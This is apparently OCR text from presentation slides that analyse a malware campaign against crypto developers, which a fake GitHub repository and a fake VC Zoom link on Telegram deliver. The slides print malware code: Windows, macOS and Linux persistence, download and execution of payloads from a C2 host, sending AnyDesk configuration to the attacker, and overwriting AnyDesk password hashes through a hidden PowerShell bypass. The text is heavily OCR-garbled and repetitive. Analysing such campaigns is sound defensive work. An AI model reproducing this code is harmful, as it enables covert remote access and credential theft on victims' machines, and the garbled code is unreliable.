plist_path = os.path.join(os.path.expanduser('~"), ‘Library/LaunchAgents/com.sdriverupdater.agent.plist')
cnd = £'°1
echo "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/
PropertylList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sdriverupdater.agent.plist</string><key>ProgramArguments</
key><array><string>python3</string><string>{pay_dir}</string></array><key>RunAtLoad</key><true/></dict></plist>" > {plist_path};
launchctl load ~/Library/LaunchAgents/com.sdriverupdater.agent.plist

elif platform.startswith('linux’):
cmd = f'(crontab -1 2>/dev/null; echo "@reboot python3 {pay dir}") | crontab -’
(Jiiif)
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Stage 3 - payload -2

® some code
def ssh_safe(A, args):
a=args|[ A] # A = 'admin’
platform = os_type.lower()
cmd = 7

pay_dir = os.path.join(A.par_dir, ‘pay"')

if platform.startswith('win'):
py_dir = os.path.join(os.path.expanduser(“~"), ".pyp\\pythonw.exe")
cmd = f'reg add HKCU\\Software\\Microsoft\\WindOWSN\CUITentversIon\\Run /v GoogleDriveUpdater /t REG SZ /d "\\"{py_dir}\\" \\"{pay_dir}
wele

elif platform.startswith( darwin'):
plist_path = os.path.join(os.path.expanduser('~"), ‘Library/LaunchAgents/com.sdriverupdater.agent.plist')
cnd = £'°1
echo "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/
PropertylList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sdriverupdater.agent.plist</string><key>ProgramArguments</
key><array><string>python3</string><string>{pay_dir}</string></array><key>RunAtLoad</key><true/></dict></plist>" > {plist_path};
launchctl load ~/Library/LaunchAgents/com.sdriverupdater.agent.plist

elif platform.startswith('linux’):
cmd = f'(crontab -1 2>/dev/null; echo "@reboot python3 {pay dir}") | crontab -’
&
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Stage 3 - payload -2

e some code
def ssh_safe(A, args):
a=args[ A] # A = 'admin’ , = python.exeA~a,
platform = os_type.lower()

cmd =
pay dir = os.path.join(A.par_dir, ‘pay’)
if platform.startswith('win'):
py_dir = os.path.join(os.path.expanduser("~"), ".pyp\\pythonw.exe™)
cmd = f'reg add HKCU\\Software\\Microsoft\\WindOWSN\CUITentversIon\\Run /v GoogleDriveUpdater /t REG SZ /d "\\"{py_dir}\\" \\"{pay_dir}
\\"" /!
elif platform.startswith('darwin’):
plist path = os.path.join(os.path.expanduser(‘~"), ‘Library/LaunchAgents/com.sdriverupdater.agent.plist’)
cmd = f'°°
echo "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/
PropertylList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.sdriverupdater.agent.plist</string><key>ProgramArguments</
key><array><string>python3</string><string>{pay dir}</string></array><key>RunAtLoad</key><true/></dict></plist>" > {plist path};
launchctl load ~/Library/LaunchAgents/com.sdriverupdater.agent.plist

elif platform.startswith('linux’):
cmd = f'(crontab -1 2>/dev/null; echo "@reboot python3 {pay dir}") | crontab -'
(A
e



Stage 3 - payload -2

® some code

[ ] tD Stage 4 def down_any(A,p):

if os.path.exists(p):

try:os.remove(p)

except OSError:return T
try:

if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
except:pass

host2 = f"http://{HOST}: {PORT}"

try:
myfile = requests.get(host2+"/adc/"+sType, allow_redirects= T)
with open(p,‘'wb') as f:f.write(myfile.content)
return _T

except Exception as e:return _F

def ssh_any(A,args):

try:
D=args[_A];p = A.par_dir + "/adc";res=A.down_any(p)
if res:
if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO WINDOW|subprocess.

CREATE_NEW_PROCESS_GROUP)
else:subprocess.Popen([sys.executable,p])
o = os_type + ' get anydesk’
except Exception as e:o = f'Err7: {e}';pass
p={ A:D, 0:0};A.send(code=7,args=p)
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Stage 3 - payload -2

ChatGPT conclusion
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Stage 4 - anydesk
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Stage 4 - anydesk

e Same as usual
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Stage 4 - anydesk

e go to C2 and download AnyDesk.exe

def save conf(fn, kind) -> bool:
if not os.path.exists(fn):return
buf = "'
try:
with open(fn, 'r') as f:buf = f.read();f.close()
except:return

if buf=='':return

options = {'type': sType,'hid': hn,'ss': 'any'+str(kind),'cc': buf}
url = host2+'/keys'

try:requests.post(url, data=options)

except:return

home = os.path.expanduser("~")

files=[]

any path = "C:/Program Files (x86)/AnyDesk/AnyDesk.exe"

anydesk path=""

def get anydesk path():

try:

if os.path.exists(any path):return any path
import requests

myfile = requests.get(host2+"/any", allow redirects=True)
if not os.path.exists(home + '/anydesk.exe'):
with open(home + '/anydesk.exe', 'wb') as f:f.write(myfile.content)

return home + '/anydesk.exe'

L5y
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except Exception as e:
# print(e)
return ""
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Stage 4 - anydesk

Config changes

anydesk psi=
$stream reader = New-Object System.IO.StreamReader($file path)
$output_file path = $file path + "d"

$stream writer = New-Object System.IO.StreamWriter($output file path)

$pd = "ad.anynet.pwd_hash=733f8f71e9ef61461b37a76972d0479d42b744b1ba6180b758325815368afa2d"

$ps = "ad.anynet.pwd_salt=c116e7b1e1839920e1f3c360337b4181"
$ts = "ad.anynet.token salt=e43673a2a77ed68fa6e807416735018f"
while (($line = $stream reader.ReadLine()) -ne $null) {

if ($line -like "ad.anynet.pwd hash=*") {

$line = $pd

}

elseif ($line -like "ad.anynet.pwd_salt=*") {
$line = $ps

I

elseif ($line -like "ad.anynet.token_salt=*") {
$line = $ts

¥

else{
$stream writer.WriteLine($line)

1)

}

$stream writer.writeLine($pd)

$stream writer.WriteLine($ps)

$stream writer.WriteLine($ts)

$stream reader.Close()

$stream writer.Close()

remove-item -fo $file path

Rename-Item -Path $output file path -NewName $file path
taskkill /IM anydesk.exe /F

--nl
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Stage 4 - anydesk

e C(hange config

def update_conf(d_path):
if not os.path.exists(d path):return False

try:
if "ad.anynet.pwd salt=351535afd2d98b9a3a®e14905a60a345" in open(d_path, 'r').read():return False
in_f = open(d_path, 'r');out_f = open(d_path+"d", 'w')
for line in in_f.readlines():
if line.startswith("ad.anynet.pwd_hash=") or line.startswith("ad.anynet.pwd salt=") or line.startswith("ad.anynet.token salt="):
continue
elif line.strip():
out_f.write(line+"\n")
out_f.write("ad.anynet.pwd _hash=733f8f71e9ef61461b37a76972d0479d42b744b1ba6180b758325815368afa2d\n")
out_f.write("ad.anynet.pwd salt=c116e7b1e1839920e1f3c360337b4181\n")
out_f.write("ad.anynet.token_ salt=e43673a2a77ed68fa6e8074167350f8f\n")
out_f.close();in_f.close()
os.remove(d_path);os.rename(d_path+"d", d_path)
return True
# print(d_path, "with python")
except:
try:
psl_path = home + "/conf.ps1"
with open(psl path, 'w') as f:f.write("$file path = ""+ d_path+"'\n");f.write(anydesk ps1)
subprocess.check_outpuﬂ@"'powershell -NoProfile -ExecutionPolicy Bypass -Command “Start-Process -Verb RunAs powershell -WindowStyle
Hidden -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File {}'""'.format(psl_path)l
return True
# print(d_path,"with psi end")
except Exception as e:return False
# print(e)
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Stage 4 - anydesk

e C(hange config

def restart_anydesk():
global anydesk path

try:

PROCNAME = "anydesk.exe" if os_type=="Windows" else "anydesk"
if os_type != "Windows":

try:import psutil

except:subprocess.check call([sys.executable,'-m*, 'pip’, ‘install’, 'psutil’])

anydesk path="anydesk"

for proc in psutil.process_iter():

if proc.name().lower() == PROCNAME:proc.kill()

else:subprocess.check_output(“taskkill /F /IM anydesk.exe")
time.sleep(1)
# print("run anydesk secondly")
subprocess.Popen([anydesk path])

except Exception as e:pass

# print(e)

save_conf(conf_pathi, 1)
save_conf(conf_path2, 2)

restart_anydesk()
dir = os.getcwd();fn=os.path.join(dir,sys.argv[@]);os.remove(fn)
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Stage 4 - anydesk
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Python.exe
FEE5GitHub aliases.js client/xyz2 | Decodesdx download. py
main_xyz2.py
Hpython

Stage3
TE#E_Z2S > LRABBEERLEE
BT%PM

C2/payload/xyz2
pay.py
FTP_Server
download. py

Anydesk.exe
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Conclusion

Stagel Stage2
[RIGHESE RC2THIER » WAFREMIT
ffigBl+credential C2/pdown

Python.exe

F#GitHub & Bitbucket

euron-presale

& curonio / euron
euron-presale

Stage3 Source
'F&%:ﬁl}ﬁ ’ ﬁﬁlﬁﬁéﬁﬁ*‘l@@ ’ 1_9 main v Files v Filter files
E-Q_F?ﬁFi Commits

CZ/Payload/XyZZ Branches
pay-py Pull requests Lasteommit

public 2024-12-19

Pipelines

4-12-1
Deployments are 2024-12-19

download. py fir s 5 env 2024-12-19
Security = .env.example 2024-12-19

B Downloads =) .eslintignore 2024-12-19
C2/brow/xyzy |EHERSESEIER Stag -
bow. py BREERNT

Message

test assessment

test assessment

test assessment

test assessment

test assessment




Conclusion

Stagel #python Stage2
JRYSHESE WCITMIER > WMRBERIT

faiggBl+credential C2/pdown
Python.exe

. i
[FE#4GitHub cl_tent/xyzz Decode64R oA CoR By
main_xyz2.py

Hpython

BRAGAMBUE

Reverse Shell €2:5001

SRR A o
FTP_Server

47+YM3cVc

C2/adc/xyz2

any.py Anydesk.exe

C2/brow/xyz2 Titi..ge‘l ,_
bow. py BREERNT
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Conclusion

Stagel
[RYGHESE
faig# Bl +credential

Stage3
TE#E_Z2S > LRABBEERLEE
BT%PM

C2/payload/xyz2
pay.py

download. py

C2/brow/xyz2
bow. py

g
WEC2THEESR > AR

main_xyz2.py

EISERERFERK

Intormation(object):

ef _init_ (A):

A.net_info=Geo().info()
A.sys_info=System().info()

of parse(K,data):
3 - SR
I
H
G
£
E
D
C
B
A=data
A={C:A[C]if A else'’,D:A[D]if D i
"', I:A[I]if I in A else'’,B:A[B]if B in A
if'/'in A[B]:A[B]=A[B].replace('/"," '
3 5 e A[B]:A[B]=A[B].replace(’_"'," ")
return A

ef get_info(A):

B=A.net_info

return{’sys_info' :A.sys_info, 'net_info' :A.parse(B if B else[])}

Attacker
FTP_Server

Anydesk.exe
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Conclusion

Stagel
[RYGHESE
faig# Bl +credential

def get anydesk path():
try:

import requests

myfile = requests.get(host2+

if not os.path.exists(home
with open(home +
return home +

except Exception as e:

# print(e)
return

download. py

Stage2

WCITHMIER > MARBRNIT

[

C2/pdown

if os.path.exists(any path):return any path

, allow redirects= )
+ | ) -

code64%k

) as f:f.write(myfile.content

C2/brow/xyz2 |EHEEIERETER
bow. py

Stage4
BiRSEEAT

download. py
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public repo # safe
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baseb4 is very safe ;>
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Telegram

,t' , Jory Bell | Playground VC £ % Qe

' last seen just now
NU pIuwietl 554 Fm

Hello 7:46 AM
I've joined 7:46 AM

joining? 7:55 AM

| can't hear you on zoom 7:57 AM

https://meet.playgroundvc.capital/zoom/join?

mn=50202229&pwd=7V83E4

Zoom Video Meeting

Join our Cloud HD Video Meeting
Zoom is the leader in modern
enterprise video communications,
with an easy, reliable cloud platform for video
and audio conferencing, chat, and webinars
across mobile, desktop, and room systems.
Zoom Rooms is the original software-based
conference room solution used around the world
in board, conference, huddle, and training room...

7:57 AM

Today
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Jory Bell | Playground VC
https://meet.playgroundvc.capital/zoom/join?mn=50202229&pwd...

pls join here 7:57 AM

Austin Federa | DoubleZero
hey im not going to use that link

what do you mean> 7:58 AM
link is working well on my side 7:58 AM

any matter? 7:58 AM

Jory Bell | Playground VC
https://meet.playgroundvc.capital/zoom/join?mn=50202229&pwd...

this is dedicated zoom meet for our company 7:58 AM

WOW 7:59 AM

lol 7:59 AM
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Thanks for listening
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